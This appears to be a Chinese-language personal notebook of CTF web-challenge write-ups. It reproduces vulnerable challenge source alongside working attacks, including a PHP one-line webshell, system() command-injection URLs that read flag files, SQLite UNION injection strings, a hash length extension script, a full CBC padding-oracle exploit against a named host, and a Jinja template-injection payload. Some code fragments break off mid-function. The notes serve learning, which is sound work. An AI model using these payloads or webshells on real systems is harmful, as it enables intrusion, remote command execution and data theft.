<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
<form method="POST" action="#">
<p><input name="user" type="text" placeholder="Username"></p>
<p><input name="password" type="password" placeholder="Password"></p>
<p><input value="Login" type="button"/></p>
</form>
</div>
</body>
</html>
<?php
}
$KEY='ISecer:www.isecer.com';
?>
打算直接提交ISecer = $KEY 的反序列化,後面發如今此以前$KEY都沒有被定義,因此KEY是空的,
只需提交空的序列化上去就能夠了
<?php
$cookie = serialize("$key");
print_r($cookie);
?>
這樣構造一下,就獲得了 s:0:"";
可是注意;(分號)在cookie中不會被正確的上傳到服務器,構造URL編碼
;的URL編碼爲%3B
因此 cookie:ISecer=s:0:""%3B
INSERT INTO注入
error_reporting(0);
function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];
}
$host="localhost";
$user="";
$pass="";
$db="";
$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
mysql_select_db($db) or die("Unable to select database");
$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);
屢次
又是一個注入題,常規的 and 1=1 啥的都被過濾掉了,多積累姿式
getshell
以前還覺得要傳馬,後面查wp發現是我想多了,只要成功傳php文件就能拿到flag
順便學習下文件上傳
Content-Type: Multipart/form-data + .php5 ???
文件包含2
直接僞協議試試:php://filter/read=convert.base64-encode/resource=index.php
=> NAIVE! 查看源碼發現 upload.php => 文件上傳
wp上寫的是.php;.jpg,個人直接傳個 .gif,而後利用自己的 file=xxx,查看了所傳圖片,命令就被執行了
// 命令執行
<script language=php> system("ls")</script>
// 牛逼啊,直接能看到本目錄下的全部文件
about hello.php index.php this_is_th3_F14g_154f65sd4g35f4d6f43.txt upload upload.php
還有個思路,傳馬以後,菜刀鏈接,此處不用改後綴名也能解析??
// 一句話木馬
<script language=php>eval($_POST['A'])</script>
PHP_incrypt_1
fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=
<?php
function encrypt($data,$key) {
$key = md5('ISCC');
$x = 0;
$len = strlen($data);
$klen = strlen($key);
for ($i=0; $i < $len; $i++) {
/*
if ($x == $klen) {
$x = 0;
}*/
$char .= $key[$x % $klen];
$x += 1;
}
for ($i=0; $i < $len; $i++) {
// $str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
$str .= chr((ord($data[$i]+ $key[$i % $klen]) % 128);
// chr 字符,ord ASCII碼
}
return base64_encode($str);
}
?>
import hashlib
import base64
key = hashlib.md5("ISCC".encode('utf-8')).hexdigest()
base_64 = "fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA="
base_64 = base64.b64decode(base_64)
data_len = len(base_64)
str_ = ""
for i in range(len(base_64)):
str_ += chr((base_64[i]-ord(key[i%len(key)]))%128) # 這個題有點水
print(str_)
文件上傳2(湖湘杯)
這個題有點坑,我把源碼都弄下來後仔細的看能不能繞過,結果看下別人的wp,直接有一個flag.php,我以前沒掃出來。
這教會了我一個道理,先掃 flag,flag.php 已加入字典,之後就能掃出來了。
下面的安全性已經很是高了,後綴被控死
upload.php
<?php
include 'common.php';
if(isset($_POST['submit']) && isset($_FILES['image'])) {
$fn = $_FILES['image']['tmp_name']; // 存儲在服務器的文件的臨時副本的名稱
$ft = $_FILES['image']['type']; // 上傳文件的類型
if(!is_uploaded_file($fn)) { // 判斷指定的文件是不是經過 HTTP POST 上傳的。
fatal('uploaded file corrupted');
}
$array = array('image/png');
if(!in_array($ft,$array)){
fatal("Sorry, only PNG files are allowed.");
}
$imagekey = create_image_key();
move_uploaded_file($fn, "uploads/$imagekey.png");
header("Location: ?op=show&imagekey=$imagekey");
?>
show.php
<?php
include 'common.php';
if(empty($_GET['imagekey'])) {
header('Location: ?op=home');
exit();
}
$imagekey = $_GET['imagekey'];
$im = load_image($imagekey);
$w = imagesx($im);
$h = imagesy($im);
if($w > MAX_IM_SIZE || $h > MAX_IM_SIZE)
fatal("Invalid image dimensions.");
?>
common.php
<?php
if(!defined('FROM_INDEX')) die();
define('MAX_IM_SIZE', 100);
function create_image_key() {
return sha1($_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT'] . time() . mt_rand());
}
function load_image($imagekey) {
if(1 !== preg_match('/[0-9a-f]{40}/', $imagekey)) {
fatal('Invalid image key.');
// imagekey=9f6703af622b96dc1a4d01b889587f1ee3fc88d7
}
$im = imagecreatefrompng("uploads/{$imagekey}.png");
if(!$im) {
fatal('Failed to load image.');
}
return $im;
}
stream_wrapper_unregister ("zip");
?>
這是一個神奇的登陸框
直接sqlmap的post注入搞定了
1
ssi
EIS2018題感受不錯加上了
http://httpd.apache.org/docs/current/howto/ssi.html
https://www.owasp.org/index.php/Server-Side_Includes_(SSI)_Injection
https://blog.csdn.net/wutianxu123/article/details/82724637
https://www.secpulse.com/archives/66934.html
<?php
class TinySSI {
public function parse($content) {
$parsed = $connect;
/** #include **/
$parsed = preg_replace_callback('|<!--#include virtual="(.*?)"(\s)*-->|',
function ($matches) {
$output = file_get_contents("./" . $matches[1]);
return $output;
}, $parsed);
return $parsed;
}
}
?>
<?php
echo "Flag is in the file 'flag' in this path\n";
require_once('ssi.php');
$parser = new TinySSI;
if(isset($_GET['name'])){
echo("Your name is " . $parser->parse($_GET['name']));
exit();
}
?>
<!--#include virtual="flag" -->
sql注入2
全都tm過濾了絕望嗎?
提示 !,!=,=,+,-,^,%
flag 被盜
跟蹤了幾個TCP流,發現shell.php,後來在TCP流中直接看到了flag
中國菜刀
看了幾個數據流,發現了一下內容
flag.tar.gz 2016-06-27 08:45:38 203 0666
log.txt 2015-06-03 12:18:46 1502 0666
news.asp 2014-06-27 03:44:24 365 0666
SaveFile.asp 2014-06-27 05:45:08 822 0666
testNull.php 2014-07-17 08:06:14 16 0666
upload.html 2014-06-27 05:27:46 364 0666
webshell.php 2014-07-21 05:52:36 18 0666
xiaoma.asp;.jpg 2014-07-04 08:17:18 1312 0666
猜想 caidao.pcapng 包含了其餘文件
使用 binwalk 查看一下
7747 0x1E43 gzip compressed data, from Unix, last modified: 2016-06-27 08:44:39
提取 dd if=caidao.pcapng of=1.gzip skip=7747 bs=1
解壓 ➜ CTF tar -xvf 1.gzip
gzip: stdin: decompression OK, trailing garbage ignored
flag/
flag/flag.txt
tar: Child returned status 2
tar: Error is not recoverable: exiting now
可直接導出?之後補充
這麼多數據包
打開一看真的是不少數據包,看一下http,沒有。
題目提示,尋找 getshell 流。通常的 getshell 流的 TCP 的報文中極可能包含 command 這個字段,
咱們能夠經過 【協議 contains "內容"】 來查找 getshell 流
tcp contains "command"
看到幾個tcp
再追蹤tcp流
C:\>type s4cr4t.txt
type s4cr4t.txt
Q0NURntkb195b3VfbGlrZV9zbmlmZmVyfQ==
C:\>shutdown -r -t 100 -m "Stupid Manager!"
shutdown -r -t 100 -m "Stupid Manager!"
百越杯 買手機
重點學習 zio
<?
import hashpumpy
import urllib
from urlparse import parse_qsl
from zio import *
import re, string, itertools
io = zio(('117.50.13.182', 8888))
io.read_until('Command: ')
io.writeline('2')
io.writeline('9')
io.read_until('Your order:\n')
c = io.readline('\n')
d = parse_qsl(c)
hash = d[3][1].strip()
pr = 'product=Flag&price=99999×tamp=%s'%(d[2][1])
print hash, pr
for i in range(8,32):
ret = hashpumpy.hashpump(hash, pr, '&price=233', i)
order = '%s&sign=%s' %(ret[1], ret[0])
io.writeline('3')
io.read_until('\n')
io.writeline(order)
io.read_until('Command: ')
from pwn import *
# context.log_level = 'debug'
import hashpumpy
p = remote("117.50.13.182",8888)
p.sendline('2')
p.sendline('9')
timestamp = p.recvuntil("&sign=")[-22:-6]
sign = p.recvuntil("\n")
sign = sign[:-1]
pr = "product=Flag&price=99999×tamp="+timestamp
for i in range(8,32):
ret = hashpumpy.hashpump(sign,pr,"&price=11",i)
order = '%s&sign=%s'%(ret[1],ret[0])
temp = p.recv()
if "Well" in temp:
print "------------------------------>>>>>",temp
exit()
p.sendline('3')
p.recv()
p.sendline(str(order))
#flag{Hash_leNgth_eXt3ns1on_attack_!S)_E@sy}
XCTF adworld Guess
僞協議查看源碼:
http://111.198.29.45:32406/?page=php://filter/read=convert.base64-encode/resource=index
upload.php
<?php
error_reporting(0);
function show_error_message($message) {
die("<div class=\"msg error\" id=\"message\">
<i class=\"fa fa-exclamation-triangle\"></i>$message</div>");
}
function show_message($message) {
echo("<div class=\"msg success\" id=\"message\">
<i class=\"fa fa-exclamation-triangle\"></i>$message</div>");
}
function random_str($length = "32") {
$set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",
"g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
"m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
"s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
"y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
$str = '';
for ($i = 1; $i <= $length; ++$i) {
$ch = mt_rand(0, count($set) - 1);
$str .= $set[$ch];
}
$filename = './uP1O4Ds/' . $str . '_';
return $str;
}
session_start();
$reg='/gif|jpg|jpeg|png/';
if (isset($_POST['submit'])) {
$seed = rand(0,999999999); // 生成隨機數作種子
mt_srand($seed); // 用seed給隨機數發生器播種
$ss = mt_rand(); // 取隨機數
$hash = md5(session_id() . $ss);
setcookie('SESSI0N', $hash, time() + 3600);
// SESSION e6bf37f50f6f9f290e834613beb73cac 4bfeacdfd8404d5c03e91441ffef3a18
// 獲得一個隨機數 352940737
// 獲得可能的種子 3281694990 3281694991 981279433
/*
zip://uP1O4Ds/xlKZUYfp47Dl1cHKvGz84VIY64sIItpF_test.png%23test&a=phpinfo();
zip://uP1O4Ds/uISoLxXH6C3FBakm7buwAMVQGR3zwRoG_test.png%23test&a=phpinfo();
zip://uP1O4Ds/HNugRX9Vq7I2o9Tq67KrDbERlYpMjZGp_test.png%23test&a=phpinfo();
zip://uP1O4Ds/HQQ6DPmMEyttuA9AB5bic3MzOfOTKSa4_test.png%23test&a=phpinfo();
zip://uP1O4Ds/H4zDu3QZU6pbeFFLl8ax8TKMDwusUQfu_test.png%23test&a=phpinfo();
*/
zip://uP1O4Ds/Ah86F1AZxgsLc8UUjkHPZRKMoCM3XUdT_test.png%23test&a=phpinfo();
/uP1O4Ds/NugRX9Vq7I2o9Tq67KrDbERlYpMjZGpI_test.png
zip://uP1O4Ds/OjOqKNhiJZUIgqFKGTVLHvk99BZNejf6_1.png1&a=phpinfo();
zip://uP1O4Ds/fds3uXk1hjEypt342Br71GmEuSvDpGSo_1.png/1&a=echo system('ls');
zip://uP1O4Ds/st8LyW7GqjK8SniSUB7RCBERGsHrplZn_1.png/1&a=echo system('ls');
zip://uP1O4Ds/OjOqKNhiJZUIgqFKGTVLHvk99BZNejf6_1.png/1&a=echo system('ls');
if ($_FILES["file"]["error"] > 0) {
show_error_message("Upload ERROR. Return Code: " . $_FILES["file-upload-field"]["error"]);
}
$check2 = ((($_FILES["file-upload-field"]["type"] == "image/gif")
|| ($_FILES["file-upload-field"]["type"] == "image/jpeg")
|| ($_FILES["file-upload-field"]["type"] == "image/pjpeg")
|| ($_FILES["file-upload-field"]["type"] == "image/png"))
&& ($_FILES["file-upload-field"]["size"] < 204800));
$check3=!preg_match($reg,pathinfo($_FILES['file-upload-field']['name'], PATHINFO_EXTENSION));
if ($check3) show_error_message("Nope!");
if ($check2) {
$filename = './uP1O4Ds/' . random_str() . '_' . $_FILES['file-upload-field']['name'];
if (move_uploaded_file($_FILES['file-upload-field']['tmp_name'], $filename)) {
show_message("Upload successfully. File type:" . $_FILES["file-upload-field"]["type"]);
} else show_error_message("Something wrong with the upload...");
} else {
show_error_message("only allow gif/jpeg/png files smaller than 200kb!");
}
}
?>
index.php
<?php
error_reporting(0);
session_start();
if(isset($_GET['page'])){
$page=$_GET['page'];
}else{
$page=null;
}
if(preg_match('/\.\./',$page)) {
echo "<div class=\"msg error\" id=\"message\">
<i class=\"fa fa-exclamation-triangle\"></i>Attack Detected!</div>";
die();
}
?>
<?php
if($page) {
if(!(include($page.'.php'))) {
echo "<div class=\"msg error\" id=\"message\">
<i class=\"fa fa-exclamation-triangle\"></i>error!</div>";
exit;
}
}
?>
爆破隨機數種子(session_id爲咱們的 PHPSESSID,hash爲SESSI0N)
ini_set(‘max_execution_time’, ‘0’); // 設置運行時間無限
http://111.198.29.45:30278/?page=zip://uP1O4Ds/FQclJFtaEBXXgNuc4nfI1kC7HXTZn3Xx_test.png%23test/test&a=echo%20system(%27cat%20./flag-Edi98vJF8hnIp.txt%27);
xctf{3fbbe15371c9cd42ec1a698d7660849a} xctf{3fbbe15371c9cd42ec1a698d7660849a}
http://111.198.29.45:30278/?page=zip://uP1O4Ds/FQclJFtaEBXXgNuc4nfI1kC7HXTZn3Xx_test.png%23test/test&a=echo%20system(%27ls%27);
CSS flag-Edi98vJF8hnIp.txt index.html index.php js uP1O4Ds upload.php upload.php
adworld simple_js
function dechiffre(pass_enc){
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab = pass_enc.split(',');
var tab2 = pass.split(',');
var i,j,k,l=0,m,n,o,p = "";
i = 0;
j = tab.length;
k = j + (l) + (n=0);
n = tab2.length;
for(i = (o=0); i < (k = j = n); i++ ) {
o = tab[i-l];
p += String.fromCharCode((o = tab2[i]));
if(i == 5)
break;
}
for(i = (o=0); i < (k = j = n); i++ ){
o = tab[i-l];
if(i > 5 && i < k-1)
p += String.fromCharCode((o = tab2[i]));
}
p += String.fromCharCode(tab2[17]);
pass = p;
return pass;
}
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
55,56,54,79,115,69,114,116,107,49,50
h = window.prompt('Enter password');
alert( dechiffre(h) );
FlatScience Hack.lu-2017
目錄掃描獲得 login.php admin.php,也能夠直接查看 robots.txt
<!-- TODO: Remove ?debug-Parameter! -->
此處 login.php?debug=1 可看到源碼
<?php
ob_start();
?>
<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
$user = $_POST['usr'];
$pass = $_POST['pw'];
$db = new SQLite3('../fancy.db');
$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
if($res){
$row = $res->fetchArray();
}
else{
echo "<br>Some Error occourred!";
}
if(isset($row['id'])){
setcookie('name',' '.$row['name'], time() + 60, '/');
header("Location: /");
die();
}
}
if(isset($_GET['debug']))
highlight_file('login.php');
?>
<!-- TODO: Remove ?debug-Parameter! -->
開始 sqlite 注入 參考文章 https://www.anquanke.com/post/id/85552
得到表信息
usr=111' union select 1,name FROM sqlite_master WHERE type='table' limit 0,1 --&pw=f
只有一個表 Users
得到全部表結構:
usr=111' union select 1,sql FROM sqlite_master WHERE type='table' limit 0,1 --&pw=f
CREATE TABLE Users(
id int primary key,
name varchar(255),
password varchar(255),
hint+varchar(255)
);
usr=111' union select 1, name FROM users limit 0,1 --&pw=f
admin 3fab54a50e770d830c0416df817567662a9dc85c my+fav+word+in+my+fav+paper
將網站上的全部 pdf 下載下來,咱們這裏用 wget 遞歸下載:wget xxx.com -r -np -nd -A .pdf
-r:層疊遞歸處理
-np:不向上(url 路徑)遞歸
-nd:不建立和 web 網站相同(url 路徑)的目錄結構
-A type:文件類型
參考 https://chybeta.github.io/2017/10/22/Hack-lu-CTF-2017-Flatscience-writeup/
暴力py腳本
from cStringIO import StringIO
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import TextConverter
from pdfminer.layout import LAParams
from pdfminer.pdfpage import PDFPage
import sys
import string
import os
import hashlib
def get_pdf():
return [i for i in os.listdir("./") if i.endswith("pdf")]
def convert_pdf_2_text(path):
rsrcmgr = PDFResourceManager()
retstr = StringIO()
device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams())
interpreter = PDFPageInterpreter(rsrcmgr, device)
with open(path, 'rb') as fp:
for page in PDFPage.get_pages(fp, set()):
interpreter.process_page(page)
text = retstr.getvalue()
device.close()
retstr.close()
return text
def find_password():
pdf_path = get_pdf()
for i in pdf_path:
print "Searching word in " + i
pdf_text = convert_pdf_2_text(i).split(" ")
for word in pdf_text:
sha1_password = hashlib.sha1(word+"Salz!").hexdigest()
if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c':
print "Find the password :" + word
exit()
if __name__ == "__main__":
find_password()
參考 https://wu.rot26.team/CTF/Hacklu/2017/web/flatscience/
find -name *.pdf -exec pdftotext {} \;
mkdir txts
find -name *.txt -exec cp {} txts \;
for i in `ls`; do tr -c '[:alnum:]' '[\n*]' < $i | sort | uniq ; done > wordlist
import hashlib
from tqdm import tqdm
with open('wordlist') as words:
__values__ = words.readlines()
for word in tqdm(__values__):
word = word[:-1]
hash_object = hashlib.sha1(b""+word+"Salz!")
hex_dig = hash_object.hexdigest()
if "3fab54a50e770d830c0416df817567662a9dc85c" in hex_dig:
print word
’
lottery Qctf2018
<?php
function random_num(){
do {
$byte = openssl_random_pseudo_bytes(10, $cstrong);
$num = ord($byte);
} while ($num >= 250);
if(!$cstrong){
response_error('server need be checked, tell admin');
}
$num /= 25;
return strval(floor($num));
}
function random_win_nums(){
$result = '';
for($i=0; $i<7; $i++){
$result .= random_num();
}
return $result;
}
$same_count = 0;
for($i=0; $i<7; $i++){
if($numbers[$i] == $win_numbers[$i]){
$same_count++;
}
}
?>
openssl_random_pseudo_bytes() 以前的第一想法是找破解辦法,猜出隨機數,找半天發現確實不行。用不着死磕,思路不行當即變換,死磕沒有任何意義。
看下wp以後,畢竟兩星級,確實很是簡單,弱類型繞過。
{"action":"buy","numbers":[true,true,true,true,true,true,true]}
有的選手用了暴力重複註冊而後買彩票的方法。
考慮了一下這種方法花費的時間並不比直接審計代碼短,爲了給廣大彩民一點但願,
能夠留做一種備選的非預期解,就沒有改題加驗證碼或者提升flag價格。
這也是好玩法,惋惜沒環境了,否則試試看。
http://111.198.29.45:31444/?page=111%27)%20or%20system(%27cat%20templates/flag.php%27)%3b%23
#mfw csaw-ctf-2016-quals
githack 獲得源碼
<?php
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
http://111.198.29.45:31444/?page=111%27)%20or%20system(%27cat%20templates%2fflag.php%27)%3b%23
閉合,並註釋後面的語句
CSAW CTF 2016 wtf.sh wtf.sh
https://github.com/ernw/ctf-writeups/tree/master/csaw2016/wtf.sh
GET /post.wtf?post=../../../../../../../../../../../tmp/wtf_runtime/wtf.sh/users*
USERNAME=admin; TOKEN=uYpiNNf/X0/0xNfqmsuoKFEtRlQDwNbS2T6LdHDRWH5p3x4bL4sxN0RMg17KJhAmTMyr8Sem++fldP0scW7g3w==
微軟表單填寫
https://germey.gitbooks.io/python3webspider/7.1-Selenium%E7%9A%84%E4%BD%BF%E7%94%A8.html
https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=13&ct=1548080354&rver=7.0.6738.0&wp=MBI_SSL&wreply=https:%2F%2Faccount.microsoft.com%2Fauth%2Fcomplete-signin%3Fru%3Dhttps%253A%252F%252Faccount.microsoft.com%252F%253Frefd%253Dlogin.live.com%2526ru%253Dhttps%25253A%25252F%25252Faccount.microsoft.com%25252F%25253Frefd%25253Dlogin.live.com&lc=2052&id=292666&lw=1&fl=easi2
帳戶id:i0116
https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=13&ct=1548080354&rver=7.0.6738.0&wp=MBI_SSL&wreply=https:%2F%2Faccount.microsoft.com%2Fauth%2Fcomplete-signin%3Fru%3Dhttps%253A%252F%252Faccount.microsoft.com%252F%253Frefd%253Dlogin.live.com%2526ru%253Dhttps%25253A%25252F%25252Faccount.microsoft.com%25252F%25253Frefd%25253Dlogin.live.com&lc=2052&id=292666&lw=1&fl=easi2
密碼id:i0118
biscuiti-300
Docker
docker pull sysucsa/ctfs_docker:seccon2016_web_biscuiti
docker run -d -p 8000:80 sysucsa/ctfs_docker:seccon2016_web_biscuiti
腳本寫的很是好,還配了上面的 docker
http://ssst0n3.github.io/2017/01/16/2017-01-16-biscuiti/#more
https://blog.csdn.net/qq_19876131/article/details/53674972
外國大佬
https://blog.tinduong.pw/2016/12/11/seccon-quals-2016-biscuiti-web-crypto-300-write-up/
考察知識點:sql注入,php 弱類型比較(二者爲空則相等),cbc padding oracle attack
直接就拿到了 index.php 的備份文件
注入可得
+----------+--------------------------+
| username | enc_password |
+----------+--------------------------+
| admin | wCqHs1eDcCePiImvDZzwXw== |
+----------+--------------------------+
<?php
error_reporting(0);
define("ENC_KEY", "***censored***");
define("ENC_METHOD", "aes-128-cbc");
if (!extension_loaded('pdo_sqlite')) {
header("Content-type: text/plain");
echo "PDO Driver for SQLite is not installed.";
exit;
}
if (!extension_loaded('openssl')) {
header("Content-type: text/plain");
echo "OpenSSL extension is not installed.";
exit;
}
/*
Setup:
CREATE TABLE user (
username VARCHAR(255),
enc_password VARCHAR(255),
isadmin BOOLEAN
);
INSERT INTO user VALUES ("admin", "***censored***", 1);
*/
function auth($enc_password, $input) {
$enc_password = base64_decode($enc_password);
$iv = substr($enc_password, 0, 16);
$c = substr($enc_password, 16);
$password = openssl_decrypt($c, ENC_METHOD, ENC_KEY, OPENSSL_RAW_DATA, $iv);
return $password == $input;
// 這裏只是弱類型比較,由手冊可知,openssl_decrypt 在解密錯誤時會返回 false,因此咱們傳一個 passwd=0 便可,密文隨意
}
function mac($input) {
$iv = str_repeat("\0", 16);
$c = openssl_encrypt($input, ENC_METHOD, ENC_KEY, OPENSSL_RAW_DATA, $iv);
return substr($c, -16); // 只返回了後十六位
}
function save_session() {
global $SESSION;
$j = serialize($SESSION);
// a:2:{s:4:"name";s:4:"aaaa";s:7:"isadmin";N;} + xxx
// 將 session 序列化後的字符串拼接了其密文寫入 cookie
$u = $j . mac($j);
setcookie("JSESSION", base64_encode($u));
}
// 總的做用就是驗證 session 是否被篡改,與 md5 相似
function load_session() {
global $SESSION;
if (!isset($_COOKIE["JSESSION"]))
return array();
$u = base64_decode($_COOKIE["JSESSION"]);
$j = substr($u, 0, -16); // session
$t = substr($u, -16); // 後 16 位爲之前添加的 mac
if (mac($j) !== $t)
return array(2);
$SESSION = unserialize($j);
}
function _h($s) {
return htmlspecialchars($s, ENT_QUOTES, "UTF-8");
}
function login_page($message = null) {
if (isset($message)) {
echo " <div>" . _h($message) . "</div>\n";
}
}
function info_page() {
global $SESSION;
printf("Hello %s\n", _h($SESSION["name"]));
if ($SESSION["isadmin"]) // 必定要有此項才 include flag
include("../flag");
}
if (isset($_POST['username']) && isset($_POST['password'])) {
$username = (string)$_POST['username'];
$password = (string)$_POST['password'];
$dbh = new PDO('sqlite:users.db');
$result = $dbh->query("SELECT username, enc_password from user WHERE username='{$username}'");
// 沒有任何過濾,直接注入
if (!$result) {
login_page("error");
$info = $dbh->errorInfo();
login_page($info[2]);
}
$u = $result->fetch(PDO::FETCH_ASSOC);
if ($u && auth($u["enc_password"], $password)) {
$SESSION["name"] = $u['username'];
$SESSION["isadmin"] = $u['isadmin'];
// 然而數據庫裏壓根就沒有 isadmin,因此這直接爲 0
save_session();
info_page();
}
else {
login_page("error");
}
}
else {
load_session();
if (isset($SESSION["name"])) {
info_page();
}
else {
login_page();
}
}
from Crypto.Util.number import *
from Crypto.Cipher import AES
import requests, time, base64
def xor(a, b):
return "".join([chr(ord(a[i]) ^ ord(b[i % len(b)])) for i in xrange(len(a))])
def add_pad(s):
block_len = 16
pad_len = block_len - len(s)
return s + chr(pad_len)*pad_len
def padding_oracle_attack(cipher, plain):
after_dec = ""
for k in range(1, 17):
for i in range(0, 256):
pad = xor(after_dec, chr(k)*(k-1))
iv = "A"*16
c = "A"*(16-k) + chr(i) + pad + cipher
assert len(iv + c) == 48
uname = "' UNION SELECT 'a', '%s" % (base64.b64encode(iv + c))
url = "http://biscuiti.pwn.seccon.jp/"
payload = {"username":uname, "password":""}
r = requests.post(url, data=payload)
if r.text.find("Hello") < 0:
after_dec = chr(i ^ k) + after_dec
print after_dec.encode("hex")
break
assert len(after_dec) == 16
prev_cihper = xor(after_dec, plain)
return prev_cihper
uname = "' UNION SELECT 'aaaaaaaaaaaaaaaaaaaaaaaaaa', 'hoge"
url = "http://biscuiti.pwn.seccon.jp/"
payload = {"username":uname, "password":""}
r = requests.post(url, data=payload)
jsession = r.headers['set-cookie'].split("=")[1].replace("%3D", "=")
u = base64.b64decode(jsession)
j = u[:-16]
mac_j = u[-16:]
P = [j[i: i+16] for i in range(0, len(j), 16)]
C = [""]*5
P[4] = add_pad(P[4])
C[4] = mac_j
for i in reversed(range(1,5)):
C[i-1] = padding_oracle_attack(C[i], P[i])
# C = ["88bb7c4931651cb975e48e9008c1a911".decode("hex"),
# "6106b1d3251bea689f161c65d85705eb".decode("hex"),
# "fc04f5ccfdcfed064cf3200eace65257".decode("hex"),
# "d48fa8585b30d06b5b5515659b5f03d8".decode("hex"),
# "a853d2fb8dc8d23b5bca133bb84039d7".decode("hex")]
P[4] = add_pad("b:1;}")
P[2] = xor(xor(P[4], C[3]), C[1])
uname = "' UNION SELECT 'aaaaaaaaaa%s', 'hoge" % P[2]
url = "http://biscuiti.pwn.seccon.jp/"
payload = payload = {"username":uname, "password":""}
r = requests.post(url, data=payload)
jsession = r.headers['set-cookie'].split("=")[1].replace("%3D", "=")
u = base64.b64decode(jsession)
j = u[:-16]
mac_j = u[-16:]
P = [j[i: i+16] for i in range(0, len(j), 16)]
C = [""]*5
P[4] = add_pad(P[4])
C[4] = mac_j
for i in reversed(range(3,5)):
C[i-1] = padding_oracle_attack(C[i], P[i])
# C[2] = "3d469b651494c9a3289e00191a6bafb6".decode("hex")
jsession = base64.b64encode('a:2:{s:4:"name";s:26:"aaaaaaaaaaaaaaaaaaaaaaaaaa";s:7:"isadmin";b:1;}'+C[2])
url = "http://biscuiti.pwn.seccon.jp/"
header = {"Cookie":"JSESSION=%s" % jsession.replace("=","%3D")}
r = requests.post(url, headers=header)
print r.text
adworld upload
前端驗證,直接抓包更名繞過
直接給出了目錄,system($_GET['cmd']),antsword鏈接,鏈接不上,多是docker不少命令都沒安裝
再試試eval,系統命令沒有,PHP的老是能夠把,用了下 scandir('../'),發現有 flag.php,如今的任務就是讀取flag.php,
file_get_contents("../flag.php")竟然沒反應,靈機一動 highlight_file() 成功了
http://111.198.29.45:32032/upload/1548320743.2.php?cmd=highlight_file("../flag.php");
XCTF 4th-QCTF-2018 Confusion1
題目描述:
One day, Bob said 「PHP is the best language!」, but Alice didn’t agree it, so Alice write a website to proof it.
She published it before finish it but I find something WRONG at some page.(Please DO NOT use scanner!)
<!--Flag @ /opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt-->
<!--Salt @ /opt/salt_b420e8cfb8862548e68459ae1d37a1d5.txt-->
http://111.198.29.45:32058/%7B%7B''['__cla'+'ss__']['__mr'+'o__'][2]['__subcla'+'sses__']()[40]('opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt').next()%7D%7D
python 模板注入
https://www.freebuf.com/column/177864.html
https://portswigger.net/blog/server-side-template-injection
https://hwhxy.github.io/ctf/2018/07/26/%E4%BB%8ECTF%E4%B8%AD%E5%AD%A6%E4%B9%A0%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%E6%B2%99%E7%9B%92%E9%80%83%E9%80%B8/
XCTF 4th-CyberEarth 簽到題
題目描述:雲平臺報表中心收集了設備管理基礎服務的數據,可是數據被刪除了,只有一處留下了入侵者的痕跡。
看到送分題就尷尬了一下,試了下SQL注入,全跳轉到id=1,id=2沒反應,看下wp,沒想到是爆破到id=2333,須要腦洞啊
wp:https://www.secpulse.com/archives/67980.html https://www.secfree.com/article/695.html
官方 wp 太辣眼睛
XCTF 4th-CyberEarth ics-01
php://filter/read=convert.base64-encode/resource=index
感受會有文件包含漏洞,可是過濾了 ://
目標:flag/flag/flag/flag/flag/flag/flag.php
直接掃了一波目錄,獲得一個 .index.php.swp
<?php
error_reporting(0);
// 限制 php 只能訪問此目錄
ini_set('open_basedir', '/var/www/html');
function autoload($page) {
if (stripos($_SERVER['QUERY_STRING'], 'flag') > 0) {
die('no flag flag flag flag !');
}
if (stripos($_SERVER['QUERY_STRING'], 'uploaded') > 0) {
die('no uploaded uploaded uploaded uploaded !');
}
if (stripos($_SERVER['QUERY_STRING'], '://f') > 0) {
die('no ://f ://f ://f');
}
if (stripos($_SERVER['QUERY_STRING'], 'ata') > 0) {
die('no ata ata ata');
}
if (stripos($_SERVER['QUERY_STRING'], '0') > 0) {
die('no 0 0 0');
}
if (file_exists("./includes/$page.php")) {
include "./includes/$page.php";
} elseif (file_exists("./includes/$page")) {
include "./includes/$page";
} else {
echo "File is not exit ";
}
}
function download($adfile, $file) {
//Only Administrators can download files .
$cert = 'N';
if (isset($adfile) && file_get_contents($adfile, 'r') === 'Yeah Everything Will Be Ok My Boss') {
echo "Welcome ! You Are Administrator !";
$cert = 'Y';
} else {
echo "error1";
}
if ($cert === 'Y') {
if (stripos($file, 'file_list') != false) {
die('error4');
}
if (stripos($file, 'file_list') >= 0) {
header('Content-Deion: File Transfer');
